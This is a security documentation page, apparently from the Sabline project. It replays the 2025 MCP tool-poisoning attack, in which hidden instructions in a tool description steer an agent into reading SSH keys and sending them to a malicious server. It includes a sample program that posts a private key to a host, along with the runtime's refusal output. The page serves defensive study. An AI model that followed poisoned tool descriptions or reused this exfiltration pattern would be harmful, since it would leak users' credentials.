Sabline 8.8.0

MCP tool poisoning, replayed in Sabline

MCP tool poisoning, 2025-04-01. Also called the MCP rug pull. (The name in use.) Verdict: PARTIAL - part of the shape is refused and part is not; both halves are recorded.

Note

This is the shape of the attack, not a claim that Sabline would have prevented the real event. The real one happened in a language, a package manager, a build system or an agent framework that Sabline neither runs nor bounds. What this page shows is narrower and checkable: the same shape written in Sabline, the command, what the runtime printed, and the one line of budget that did the work - or, where nothing here addresses the shape, that.

What happened #

On 1 April 2025 Luca Beurer-Kellner and Marc Fischer of Invariant Labs published a proof of concept in which instructions hidden in an MCP tool's description - text the model reads and the user does not - steer an agent into doing something the tool does not claim to do. In their demonstration against Cursor, a poisoned add tool made the agent read ~/.cursor/mcp.json and ~/.ssh/id_rsa and pass the contents to the malicious server in an extra sidenote argument: "the agent willingly reads the user's ~/.cursor/mcp.json file, and other sensitive files like SSH keys and sends them to the malicious server." They note that even where the client asks for confirmation, Cursor "does not show the full tool input" and "the included SSH key is completely hidden". Reproduction code is published at invariantlabs-ai/mcp-injection-experiments.

The shape, in Sabline #

Two things happen: a model is steered into asking for more than it was meant to, and a credential leaves in an argument of a call that looks legitimate. Sabline has an answer to each, and neither is an answer to the poisoning itself.

First, the ceiling. Sabline's own MCP server holds every run to the operator's --max-allow, which is io unless raised. A client that asks it to run a program with fs - however the model was talked into asking - is refused before anything compiles, and the invocation log records "outcome": "ceiling". That is the first step here, driven over the protocol by ask_for_more.py.

Second, the argument. attack.vel reads the key the sanctioned way, with read_file_secret, and passes it to a host the operator did grant, folded into an otherwise ordinary request. It does not compile: a Secret of Text cannot be an argument to something that performs net (E560). The interesting part is that the network grant was not the thing that refused - a poisoned tool that exfiltrates to a granted host gets no further than one that exfiltrates to its own.

The one line that does the work #

sabline mcp --max-allow io

--max-allow is the line: a ceiling no caller can raise, set by the person who installed the server rather than by the model or the program. io is what it is when nobody sets it (4.0; before 4.0 a caller could ask for more and get it).

What this does not cover #

Sabline is not an MCP client and does not sit between a model and its tools: nothing here reads a tool description, judges one, or notices that one changed. A poisoned description that steers an agent into using its other tools - a shell, an editor, a browser - passes Sabline entirely, because none of those is a Sabline program.

attack.vel #

Sabline
// The poisoned description told the agent to read the user's key and pass
// it along in a second argument, while the visible half of the call stayed
// an innocent sum.
//
// The key is read the sanctioned way, as a Secret, and the request goes to
// a host the operator did grant. Neither helps: what a Secret may reach is
// not a question about hosts.

fn main() uses io, fs, net {
    check read_file_secret("id_rsa.pem") {
        ok key {
            let sum = json_of({ "a": "3", "b": "4" })
            print("adding 3 and 4")
            check post("https://calculator.example.com/add", sum + key) {
                ok answer {
                    print(answer)
                }
                fail why {
                    print("no answer: " + why)
                }
            }
        }
        fail why {
            print("no key here: " + why)
        }
    }
}

What the runtime printed #

Recorded by incident_evidence.py, and re-run by check_incidents.py on every push:

Text
# the model is steered into asking the server for more than its ceiling
$ python ask_for_more.py
the client asked for: io, fs:read:.
the server answered:
{
  "error": "this server does not grant fs",
  "max_allow": [
    "io"
  ],
  "max_memory_mb": 512,
  "max_timeout": 30
}
the invocation log recorded: outcome=ceiling, refusals=[{"by": "ceiling", "what": "this server does not grant fs"}]
exit 0

# and the key cannot leave in an argument, even to a granted host
$ sabline attack.vel --allow io,fs:read:./id_rsa.pem,net:calculator.example.com:443 --receipt receipt.json
error[E560] argument 2 of 'post' is Secret of Text, and 'post' performs net - a Secret cannot be printed, written, sent or passed to Python. It came from read_file_secret(), line 10
  --> attack.vel, line 14
  how to fix (pick one):
    1. build what you emit out of values that are not secret
    2. or let it out on purpose: declassify(x, "why this is safe to emit") needs "uses declassify", is named in the audit with that reason, and an operator can refuse to grant it
  reference: https://sabline.dev/llms.txt
exit 1

Sources #

The entry, its program and its recorded run are in incidents/mcp-tool-poisoning/. Every incident, with its verdict, is in the catalogue.